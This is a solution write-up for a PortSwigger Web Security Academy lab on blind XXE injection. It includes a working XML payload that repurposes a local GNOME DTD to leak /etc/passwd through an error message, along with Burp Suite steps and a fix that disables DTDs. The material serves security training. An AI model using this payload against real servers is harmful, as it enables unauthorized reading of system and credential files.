Expert · updated

XML external entity (XXE) injection

PortSwigger Web Security Academy · Expert

  • #XXE

Exploiting XXE to Retrieve Data by Repurposing a Local DTD

The vulnerability

The server can’t reach your machine, so you can’t load your own DTD. You use one that is already on the server and redefine an entity in it. The content of the file then appears in the error message.

Fix: Switch off DTDs in the XML parser. A firewall is not enough.

The lab

Open the lab on PortSwigger

This lab has a “Check stock” feature that parses XML input but does not display the result.

To solve the lab, trigger an error message containing the contents of the /etc/passwd file.

You’ll need to reference an existing DTD file on the server and redefine an entity from it.

Hint

Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso.

Solution

1. Intercept the Stock Check Request: On the website, select a product and click “Check stock.” In Burp Suite’s Proxy → HTTP history, find the POST /product/stock request and right-click to Send to Repeater.

2. Inject the Malicious Local DTD Payload: In Repeater, modify the XML body. After the XML header, add a DOCTYPE declaration that first includes the local DTD from /usr/share/yelp/dtd/docbookx.dtd. Then, redefine the ISOamso entity from that DTD with a nested payload designed to read /etc/passwd and trigger an error containing its contents.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYS "file:///usr/share/yelp/dtd/docbookx.dtd">
   <!ENTITY % ISOamso '
      <!ENTITY &#x25; file SYS "file:///etc/passwd">
      <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYS &#x27;file:///nonexistent/&#x25;file;&#x27;>">
      &#x25;eval;
      &#x25;error;
   '>
   %local_dtd;
]>
<stockCheck>
   <productId>
      1
   </productId>
   <storeId>
      1
   </storeId>
</stockCheck>

Note*: Replace SYS with SYSTEM in the payload*

3. Retrieve /etc/passwd Content from Error Message: Send the request. The application will respond with an HTTP/2 400 Bad Request. The body of this error message will contain the full content of the /etc/passwd file, which was used in the invalid file path, thus solving the lab.

Tip

An active scan on POST /product/stock in Burp Suite may find the XXE vulnerability.